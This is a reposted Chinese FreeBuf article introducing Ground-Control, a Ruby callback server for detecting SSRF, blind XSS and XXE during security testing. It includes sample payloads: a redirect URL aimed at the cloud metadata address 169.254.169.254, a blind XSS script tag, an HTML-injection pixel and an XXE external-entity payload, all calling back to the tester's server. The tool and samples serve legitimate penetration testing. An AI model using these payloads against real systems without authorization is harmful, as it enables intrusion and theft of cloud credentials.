抱歉,你查看的文章不存在

一款用于发现SSRF、XXE、XSS漏洞的小工具

今天给大家介绍的是运行在我自己Web服务器中的一堆脚本,这些脚本可以帮助我快速检测SSRF、Blind XXS以及XXE漏洞,喜欢的朋友可以将它们部署到自己的环境中。当然了,你们也可以根据自己的需要来自定义修改脚本代码。

Ground-Control

我这个GitHub库中托管的是我在服务器端所部属的一些安全增强脚本,它们可以检测SSRF(服务器端请求伪造),Blind XSS、以及XXE漏洞。目前本项目仍处于更新过程中,因为我现在还在收集相关的脚本。在使用这些脚本之前,我通常会重写脚本中的部分代码或通过netcat设置监听器。但这样做的灵活性就非常差了,因此我才决定将这些脚本都上传到一个代码库上,这样每当服务器需要使用某个脚本时,我们就可以直接从GitHub代码库中克隆下来即可。

必备条件

脚本的运行需要Ruby 2.3、域名的有效SSL证书、以及一台能够开启端口80、443、8080和8443的Web服务器。端口80和443用来处理简单的Web流量;端口8080也是一个HTTP端口,当端口80无法正常访问时可以用端口8080来处理网络通信数据;端口8443是一个用来处理HTTPS流量的替代段藕,不同的是它需要使用自签名的SSL证书,我可以使用这个端口来判断服务器的SSL证书是否有效。

工具配置

将该项目克隆到本地,然后通过运行“install.sh“来安装本工具的必备组件。依赖组件安装完成之后,运行“start.sh”来监听所有的端口。因为脚本需要监听端口80和433,因此我们还需要root权限才行,但是在将来的版本中我们会尝试通过切换用户环境来解决这个问题。

功能介绍

Redirects

/redirect节点用来将一个请求重定向到另一台服务器或网络节点,当你需要一台外部服务器请求重定向到内部系统时,你可以使用这项功能。使用样例如下:

curl -vv "http://server/redirect?url=http://169.254.169.254/latest/meta-data/"

Ping Pong

有时你可能需要一个能够响应指定body和header的页面,而/ping_pong节点就是你所需要的。使用样例如下:

curl -vv "http://server/ping_pong?body=%3ch1%3eHello%3c/h1%3e"

Blind Callback

如果你想要知道一个无法直接访问的系统是否执行了你的HTML代码或XSS Payload,你可以在config.json文件中添加一个callback_tokens参数,数据结构如下所示:

{ "callback_tokens": { "ee34a1791ab345f789": { "host":"hackerone.com", "port": 443, "ssl": true, "path": "/webhooks", "parameter": "url", "method": "POST" } } }

这个callback中包含了攻击目标(插入Payload的地方)的相关信息,如果你收到了一个callback,那么它将可以帮助你验证漏洞出现的根本原因。需要注意的是,其中的每一个参数(parameter、host、port、path和method)都需要拥有自己的callback_token。

你可以根据你所要测试的漏洞类型来构建自己的Payload,下面给出的是针对HTML注入漏洞和XSS漏洞的测试用例。接下来,将你的Payload通过注入点提交给服务器。当带有callback_token的请求被触发之后,你将能够在logs/access_log中查看到日志记录。绝大多数情况下,我会使用命令“tail -f logs/access_log”来查看漏洞和请求的触发情况。

HTML注入:

<img src="https://server/pixel?callback_token=ee34a1791ab345f789" style="display:none;"/>

Blind XSS:

<script src="https://server/collect?callback_token=ee34a1791ab345f789"></script>

XXE:

<?xmlversion="1.0" ?><!DOCTYPEr [ <!ELEMENTr ANY > <!ENTITYsp SYSTEM "http://server/pixel?callback_token=ee34a1791ab345f789"> ]><r>&sp;</r>

开启另一台服务器

服务器默认会监听端口80、443、8080、8443,但如果你想开启另外一台服务器来监听其他端口的话,你可以运行命令“ruby app/server.rb -p :port”。如果你想使用SSL,你可以在刚才的命令后面添加“-cert :cert.pem”。当一个潜在的SSRF漏洞只允许我们连接特定端口的话,这个功能就非常有用了。

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-06-17

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

编辑于

FreeBuf

3278 篇文章183 人订阅

相关文章

来自专栏WindCoder

centos7下使用yum安装mysql最新版本

前提:本文以centos7服务器为资源背景安装mysql,所有命令均未添加sudo ,若发现命令未执行等可添加之并重新尝试。

4542
来自专栏我的博客

查找修改时间在指定区间的文件并打包

#!/bin/bash # find file and tar # joyousphper@gmail.com # find_and_tar.sh read ...

2633
来自专栏云计算教程系列

如何使用Apache驱动Django

Django是一个功能强大的Web框架,可以帮助您快速启动Python应用程序或网站。Django包含一个简化的开发服务器,用于在本地测试您的代码。但是其也需要...

2895
来自专栏云计算教程系列

如何在CentOS 7上使用Postgres,Nginx和Gunicorn设置Django

Django是一个功能强大的Web框架,可以帮助您启动Python应用程序或网站。Django包含一个简化的开发服务器,用于在本地测试您的代码,但是对于任何与生...

1503
来自专栏hbbliyong

centos 安装sbt

1.yum install sbt 2.如果不行,则 curl https://bintray.com/sbt/rpm/rpm > bintray-sbt-rp...

4547
来自专栏乐享123

Tcpdump Commands

1545
来自专栏闵开慧

hadoop数据库操作解析及注意事项

1 从mysql读数据到hdfs:     mapreduce读数据库数据到hdfs使用map读取,连接数和map数对应,读的时候会锁表读取全量数据,此时,其它...

5497
来自专栏玄魂工作室

Hacker基础之Linux篇:基础Linux命令二

1. mv mv命令是move的缩写,可以用来移动文件或者将文件改名(move (rename) files)。 是Linux系统下常用的命令,经常用来备份文...

36710
来自专栏不想当开发的产品不是好测试

通过maven test 报org.apache.ibatis.binding.BindingException: Invalid bound statement

背景 直接使用eclipse工具去执行,没有问题,通过testng.xml去执行,没有问题,但通过mvn clean test执行,就报错,提示org.apac...

21810
来自专栏源哥的专栏

把JSP放到WEB-INF后以保护JSP源代码

    本人在看《J2EE核心模式》(“Core J2ee Patterns”,刘天北、熊节译),里面提到了一种实现资源保护的方法,那就是把那些限制访问的资源(...

1083

扫码关注云+社区

领取腾讯云代金券